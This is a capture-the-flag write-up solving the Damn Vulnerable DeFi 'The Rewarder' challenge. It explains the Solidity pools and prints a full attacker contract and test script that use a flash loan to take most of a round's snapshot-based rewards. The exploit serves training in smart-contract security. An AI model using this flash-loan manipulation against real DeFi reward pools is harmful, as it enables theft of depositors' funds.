Greetings, fellow security researchers!

I’m delighted to present to you the fifth installment of my Damn Vulnerable DeFi CTF write-up series. In this particular post, I’ll be your guide as we delve into solving Damn Vulnerable DeFi #5: The Rewarder.

Goal

We have a pool which allows users to deposit DVT tokens. It offers rewards every 5 days to all its depositors. Several users have already taken advantage of this opportunity and received their rewards.

Our objective is to secure the majority of the rewards in the next round 🥷

We also have a pool which offers DVT flash loans. For free! How cool is that?

Rundown

We have 4 smart contracts in this challenge. Let’s take a look at each of them.

FlashLoanerPool

The FlashLoanerPool is the generous pool we mentioned above which offers free DamnValuableToken flash loans.

It has only one function which is used to request the flash loans - flashLoan(uint256).

Upon requesting a flash loan, the function:

  • checks if the pool has enough DVT token to offer the loan
  • checks if the caller is a smart contract (reverts with CallerIsNotContract() otherwise)
  • uses our familiar approach of snapshotting the initial balance and checks at the end of the function of the loan is paid in full

The function expects the borrower to have a receiveFlashLoan(uint256) which is used a callback once the tokens are sent to it.

AccountingToken

As the name implies, this token is used for accounting purposes. We’ll see how comes into play in the section on TheRewarderPool below.

The token extends from OpenZeppelin’s ERC20Snapshot and solady’s OwnableRoles.

ERC20Snapshot is an ERC20 implementation that allows the recording of balance snapshots at specific time points. This feature enables historical queries for total supply and individual holders' balances.

OwnableRoles is an extension of Ownable that adds support for additional roles, in addition to the owner. This allows for fine-grained access control at the function level through the onlyRoles() modifier. In the case of the AccountingToken, the following roles have been defined:

  • MINTER_ROLE
  • SNAPSHOT_ROLE
  • BURNER_ROLE

All of these roles are assigned to the owner and are respectively checked for the mint(), burn() and snapshot() functions.

We can also see that the contract explicitly forbids token transfers by overriding the _transfer() and _approve() functions both of which revert with NotImplemented().

RewardToken

This is a straightforward ERC20 implementation used as a reward for depositors. Similar to AccountingToken, it also extends from OwnableRoles. It introduces a MINTER_ROLE initially assigned to the owner, granting them the ability to mint() new tokens.

TheRewarderPool

Let’s briefly go through the implementation of TheRewarderPool.

The contract allows users to deposit DVT tokens via the deposit() function. The DVT token is represented by the liquidityToken state variable. When users deposit DVTs, an equal number of AccountingTokens are minted in their name. These tokens play a role in distributing rewards, determining each participant’s share of RewardTokens on a pro rata basis. The deposit() function initiates reward distribution if a new round has started. It also transfers the DVT tokens to itself using SafeTransferLib#safeTransferFrom(). This implies that the depositor must have previously approved the deposit by calling DamnValuableToken#approve().

The withdraw() function allows depositors to withdraw their DVT tokens. During the withdrawal process, an equal number of AccountingTokens are burned to maintain accurate rewards distribution among the remaining depositors.

The distributeRewards() function is used to distribute the awards accrued. It is invoked during each deposit() call. However, it can also be called independently. Let’s examine its implementation:

function distributeRewards() public returns (uint256 rewards) {
  if (isNewRewardsRound()) {
    _recordSnapshot();
  }

  uint256 totalDeposits =
    accountingToken.totalSupplyAt(lastSnapshotIdForRewards);
  uint256 amountDeposited =
    accountingToken.balanceOfAt(msg.sender, lastSnapshotIdForRewards);

  if (amountDeposited > 0 && totalDeposits > 0) {
    rewards = amountDeposited.mulDiv(REWARDS, totalDeposits);
    if (rewards > 0 && !_hasRetrievedReward(msg.sender)) {
      rewardToken.mint(msg.sender, rewards);
      lastRewardTimestamps[msg.sender] = uint64(block.timestamp);
    }
  }
}

Firstly, if a new rewards round is in effect a snapshot of the accountingToken is made via _recordSnapshot(). This snapshot would be used to calculate the rewards for the previous round. Note that _recordSnapshot() is also called in the constructor to initialize the first round. At that point the accountingToken has a totalBalance() of 0 and there are no token holders.

Then the totalDeposits (by all users) and amountDeposited (by msg.sender) during the last round are queried via the lastSnapshotIdForRewards.

If msg.sender has made any deposits in the last round, their rewards is calculated as follows:

$$ rewards = \frac{amountDeposited \times 100\ ether}{totalDeposits} $$

Then once a check is made to ensure msg.sender has not retrieved their reward, RewardTokens are minted in their name and the timestamp of the reward retrieval is recorded to prevent any double retrieval attempts.

I will not go into details about the implementations of _recordSnapshot(), _hasRetrievedReward() and isNewRewardsRound() since their implementation is pretty trivial and easy to understand.

Solution

This Damn Vulnerable DeFi challenge is relatively easy.

The rewards calculation formula is exploitable through a flash loan attack. The contract lacks preventive measures, enabling us to manipulate the distribution of rewards effortlessly. We can wait for the next reward round, execute a flash loan, deposit it into the TheRewarderPool, withdraw it, and repay the loan. That’s all. By doing this, we receive a significantly larger reward compared to other depositors with smaller deposits.

Here is a smart contract to execute the attack:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "@openzeppelin/contracts/token/ERC20/IERC20.sol";

import "./FlashLoanerPool.sol";
import "./TheRewarderPool.sol";

contract TheRewardAttacker {
  FlashLoanerPool private flashLoanPool;
  TheRewarderPool private rewarderPool;
  IERC20 private liquidityToken;
  IERC20 private rewardToken;
  address private player;

  constructor(FlashLoanerPool _flashLoanPool,
              TheRewarderPool _rewarderPool,
              IERC20 _liquidityToken,
              IERC20 _rewardToken,
              address _player) {
    flashLoanPool = _flashLoanPool;
    rewarderPool = _rewarderPool;
    liquidityToken = _liquidityToken;
    rewardToken = _rewardToken;
    player = _player;
  }

  function attack() external {
    uint256 flashLoanPoolBalance =
      liquidityToken.balanceOf(address(flashLoanPool));
    flashLoanPool.flashLoan(flashLoanPoolBalance);
  }

  function receiveFlashLoan(uint256 amount) external {
    liquidityToken.approve(address(rewarderPool), amount);
    rewarderPool.deposit(amount);
    rewarderPool.withdraw(amount);
    liquidityToken.transfer(address(flashLoanPool), amount);
    rewardToken.transfer(player, rewardToken.balanceOf(address(this)));
  }
}

The attack starts with the TheRewardAttacker#attack() function, which initiates a flash loan equal to the total balance of the flash loan pool.

As mentioned before, the FlashLoanerPool triggers the loan initiator’s receiveFlashLoan(uint256) callback once the loan funds are transferred. The attack is then carried out using the borrowed funds.

To deploy the attack, we need to update the-rewarder.challenge.js as follows:

it('Execution', async function () {
  // Wait for 5 days so the next reward round starts
  await ethers.provider.send("evm_increaseTime", [5 * 24 * 60 * 60]);

  const TheRewardAttackerFactory = await ethers
    .getContractFactory('TheRewardAttacker', player);
  let attacker = await TheRewardAttackerFactory
    .deploy(flashLoanPool.address, rewarderPool.address,
            liquidityToken.address, rewardToken.address,
            player.address);
        
  await attacker.attack();
});

To verify our solution, we run:

$ yarn run the-rewarder

Done and dusted 🥷

You may find the full solution in my GitHub here: https://github.com/marchev/damn-vulnerable-defi/commit/cc6fb3f914d71ef9b96992f99eb063413d81a684

Outro

In summary, this CTF write-up has underscored the significance of addressing flash loan attacks in web3. It emphasizes the need for effective prevention measures and heightened awareness regarding exploitable functionalities.

By proactively safeguarding against these risks, we can contribute to a more secure and resilient decentralized finance ecosystem 🙌

May you have any feedback on this CTF write-up (or the series as a whole), please reach out to me on Twitter or Discord.